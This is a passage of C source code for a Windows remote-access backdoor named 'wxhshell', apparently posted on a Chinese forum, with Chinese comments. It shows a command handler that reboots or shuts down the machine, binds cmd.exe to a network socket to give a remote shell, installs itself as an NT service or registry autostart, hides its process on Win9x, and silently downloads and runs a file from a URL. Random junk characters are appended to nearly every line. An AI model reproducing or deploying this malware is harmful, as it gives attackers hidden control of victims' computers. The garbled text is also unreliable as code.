    switch(cmd[0]) { =XSupM[T  
  -B7X;{  
  // 帮助 #&K}w 0}k  
  case '?': { &t6SI'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4~nf~  
    break; gKWUHlQY  
  } =|^R<#%/  
  // 安装 ~Hx>yn94e  
  case 'i': { KYg'=({x  
    if(Install()) Kj4L PG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yfz`or\@=  
    else ^8?px&B y:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RO'b)J:j9  
    break; d:z7 U  
    } 6s! =de  
  // 卸载 +J42pSxzoo  
  case 'r': { Ycxv=Et  
    if(Uninstall()) <fgf L9-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J/Ch /Sa  
    else |NFDrm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >pq=5Ha&  
    break; zx?|5=+!  
    } .=Uu{F  
  // 显示 wxhshell 所在路径 uF D  
  case 'p': { >ca`0gu  
    char svExeFile[MAX_PATH]; S1i~r+jf  
    strcpy(svExeFile,"\n\r"); @'J[T:e  
      strcat(svExeFile,ExeFile); #%z@yg  
        send(wsh,svExeFile,strlen(svExeFile),0); =C^4nP-  
    break; P}!pmg6V  
    } /(}YjeS  
  // 重启 NZXCaciG  
  case 'b': { -Ji uq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PL3oV<\4s>  
    if(Boot(REBOOT)) 1n>AN.nI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$yQ^ mG  
    else { Qg o| \=  
    closesocket(wsh); X#MC|Fzy@  
    ExitThread(0); uxW<Eh4H*  
    } )@ .0ai  
    break; OeQ~g-n  
    } j#H&~f  
  // 关机 S09Xe_q  
  case 'd': { ]4 \6_J&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %w3tzE1Hq  
    if(Boot(SHUTDOWN)) 7U&<{U<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E@Yq2FBpnn  
    else { ZYTBc#f  
    closesocket(wsh); 7;sF0oB5e  
    ExitThread(0); ^|cax| >  
    } EM'#'fBZ>Y  
    break; ;T>.  
    } `2G%&R,k"D  
  // 获取shell kNrd=s,-]D  
  case 's': { ng[LSB*57Y  
    CmdShell(wsh); |1+ mHp  
    closesocket(wsh); rGQ([e  
    ExitThread(0); GM0pHmC  
    break; tRTJQ  
  } 0\o5+  
  // 退出 qcBamf  
  case 'x': { *OY Nx4k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Ii+}Mfp  
    CloseIt(wsh); [ofZ1hB4  
    break; bW^{I,b<F  
    } ~ =$d>ZNQ  
  // 离开 (^)(#CxO  
  case 'q': { };>~P%u32  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <EuS6Pg  
    closesocket(wsh); CE I.*Iywu  
    WSACleanup(); MeO2 cy!5q  
    exit(1); 6k ]+DbT  
    break; &?APY9\.  
        } d!4:nvKx  
  } DC'L-]#<  
  } 9u_D@A"aC`  
G4n-}R&'  
  // 提示信息 ebf/cC h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F||oSJrI  
} c&#B1NN<  
  } >Qs{LEsLb  
s)kr=zdyo  
  return; ~<3J9\z1  
} >\s+A2P  
~HUO$*U4<  
// shell模块句柄 FBA th !E  
int CmdShell(SOCKET sock) *XG.?%x*|  
{ jh~E!%d77  
STARTUPINFO si; 7hKfxw-X@  
ZeroMemory(&si,sizeof(si)); SJ&+"S&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S@WT;Q2Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z3|5E#m  
PROCESS_INFORMATION ProcessInfo; *7yrm&@nG  
char cmdline[]="cmd"; SA,+oq(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ded:yho   
  return 0; )p 8P\Rl  
} yO J|t#  
F%:o6mT  
// 自身启动模式 6LzN#g  
int StartFromService(void) g_(O7  
{ w+{ o^ O  
typedef struct C ?aa)H  
{ #>">fs]  
  DWORD ExitStatus; N/8B@}@n  
  DWORD PebBaseAddress; S2~im?^21  
  DWORD AffinityMask; _j\ 8u`^n  
  DWORD BasePriority; AXPdgo6  
  ULONG UniqueProcessId; XWUi_{zn  
  ULONG InheritedFromUniqueProcessId; &v/R-pz  
}   PROCESS_BASIC_INFORMATION; A7GWU{i  
E*#5OT  
PROCNTQSIP NtQueryInformationProcess; pT<I!,~  
-) !;45  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3\a VZx!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qs8Rb]%|  
b'(Hwc\ t  
  HANDLE             hProcess; ,o6,(jJU  
  PROCESS_BASIC_INFORMATION pbi; xHuw ?4  
$8NM[R.8^4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Wp& 'X  
  if(NULL == hInst ) return 0; aj$&~-/ R  
D4U<Rn6N_5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ak,T{;rD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wl%I(Cw{]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d@+u&xrd  
,TQ;DxB}=E  
  if (!NtQueryInformationProcess) return 0; lxtt+R  
n@//d.T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &B} ,xcNO  
  if(!hProcess) return 0; '17V7A/t  
Qa,$_ ,E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jFwJ1W;?-  
vk|xYDD  
  CloseHandle(hProcess); ;% l0Ml>  
_?;74VWA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fI-f Gx  
if(hProcess==NULL) return 0; Eyg F,>.4  
v=?/c-J*  
HMODULE hMod; 7y=1\KW(  
char procName[255]; CjmF2[|  
unsigned long cbNeeded; :2AlvjvjZ  
Qsr+f~"W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (bGk=q=M  
#c`/ f6z  
  CloseHandle(hProcess); L?b;TjLe  
x{,W<oXg  
if(strstr(procName,"services")) return 1; // 以服务启动 FtybF  
-}"nb-RR\  
  return 0; // 注册表启动 HXQ } B$V  
} T)Pr%kF  
nF=[m; ~  
// 主模块 9]^NAlno  
int StartWxhshell(LPSTR lpCmdLine) NsL!AAN[V  
{ 2mfG: ^^c  
  SOCKET wsl; x3 01uf[  
BOOL val=TRUE; T&]IPOH9  
  int port=0; E&> 2=$~  
  struct sockaddr_in door; 1cd3m  
FdS'0#$  
  if(wscfg.ws_autoins) Install(); Ksvk5r&y  
c) _u^Dh  
port=atoi(lpCmdLine); 8l>YpS*S^  
/O[ Z  
if(port<=0) port=wscfg.ws_port; eY3<LVAX  
gmtS3,  
  WSADATA data; K,@} 'N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C@@PLsMg  
D1Q]Z63,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]|B_3* A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ IlRZ}f  
  door.sin_family = AF_INET; 9oj0X>| 1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nSq$,tk(  
  door.sin_port = htons(port); Bh()?{q  
GCp90  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d"}lh:L9  
closesocket(wsl); gyOAvx  
return 1; <P-AlHYV-  
} sJm v{wM  
<(BIWm*  
  if(listen(wsl,2) == INVALID_SOCKET) { ])vqXjN6"  
closesocket(wsl); 8hZc#b;  
return 1; 8FgF6ip  
} /D;cm  
  Wxhshell(wsl); CiIIlE4  
  WSACleanup(); r-&* `Jh  
o> yo9n%t  
return 0; b:x*Hjf  
m0JJPBp  
} - *xn`DH  
14p{V} f3  
// 以NT服务方式启动 Mqm9i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y$FhV~m  
{ gTg[!}_;\N  
DWORD   status = 0; {1'M76T  
  DWORD   specificError = 0xfffffff; +@anYtv%7  
0|]qW cD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JUTlJyx8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KqWO9d?w.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q-||A  
  serviceStatus.dwWin32ExitCode     = 0; Q57Z~EsF  
  serviceStatus.dwServiceSpecificExitCode = 0; ?7w7Y;FuR  
  serviceStatus.dwCheckPoint       = 0; HVNX"`]"  
  serviceStatus.dwWaitHint       = 0; HUx -8<ws  
L%/atl!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ky[^uQ>0  
  if (hServiceStatusHandle==0) return; &[ $t%:`  
dSbz$Fct  
status = GetLastError(); CZ ,2Rq  
  if (status!=NO_ERROR) Dos';9Uq  
{ ^fti<Lw5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hIwqSKq9  
    serviceStatus.dwCheckPoint       = 0; n/+G^:~_  
    serviceStatus.dwWaitHint       = 0; L EY k  
    serviceStatus.dwWin32ExitCode     = status; x^y&<tA  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Vj112 fI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c5t7X-LB  
    return; 4J$dG l#f  
  } lt#3&@<v  
cd)}a_9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^P owL:  
  serviceStatus.dwCheckPoint       = 0; }*vO&J@z  
  serviceStatus.dwWaitHint       = 0; _sF Ad`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0#/Pc`z C  
} cfPQcB>A  
ePTN^#|W  
// 处理NT服务事件,比如:启动、停止 ]u"x=S93  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *m`F-J6U  
{ g3\1 3<  
switch(fdwControl) -@/!u9l  
{ )h/Qxf  
case SERVICE_CONTROL_STOP: LO)p2[5#R  
  serviceStatus.dwWin32ExitCode = 0; DC*6=m_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lg+cHaA  
  serviceStatus.dwCheckPoint   = 0; W! GUA<  
  serviceStatus.dwWaitHint     = 0; Fj1'z5$  
  { +$B#] ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $GIup5  
  } d&%}u1 .  
  return; 0Yfz?:e  
case SERVICE_CONTROL_PAUSE: jYsg'Rl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I =nvL  
  break; QE`u~  
case SERVICE_CONTROL_CONTINUE: 3 /LW6W|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6?= ^8  
  break; t flUy\H>  
case SERVICE_CONTROL_INTERROGATE: 4_o+gG%HaM  
  break; 49dN~k=  
}; JO\KTWtjO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5} 1qo7;  
} 5>~q4t)6z}  
>;k~B  
// 标准应用程序主函数  q #X[oVq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \"$jj<gc  
{ Q=#!wWVP  
jQpG7H  
// 获取操作系统版本 k]yv#Pa  
OsIsNt=GetOsVer(); _sIr'sR~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <}1GYeP  
vXibg  
  // 从命令行安装 0ZtH  
  if(strpbrk(lpCmdLine,"iI")) Install(); QHe:  
Y,d|b V*FH  
  // 下载执行文件 5S&^mj-9  
if(wscfg.ws_downexe) { uN(N2m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k:CSH{s5{  
  WinExec(wscfg.ws_filenam,SW_HIDE); *|)O  
} 'd9cCQ}  
d x"9jFn  
if(!OsIsNt) { p&3~n: Fo  
// 如果时win9x,隐藏进程并且设置为注册表启动 bE2{^5iG  
HideProc(); A9M/n^61  
StartWxhshell(lpCmdLine); RJLhR_t7n  
} SNtOHTQ  
else T$s)aM  
  if(StartFromService()) eEg> EI_U  
  // 以服务方式启动 /5C>7BC  
  StartServiceCtrlDispatcher(DispatchTable); +!<{80w  
else jx8hh}C  
  // 普通方式启动 gEnc;qb  
  StartWxhshell(lpCmdLine); r%^XOw<'  
l ?gh7m_ej  
return 0; t++\&!F  
}
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只看该作者 1 发表于: 2006-10-10
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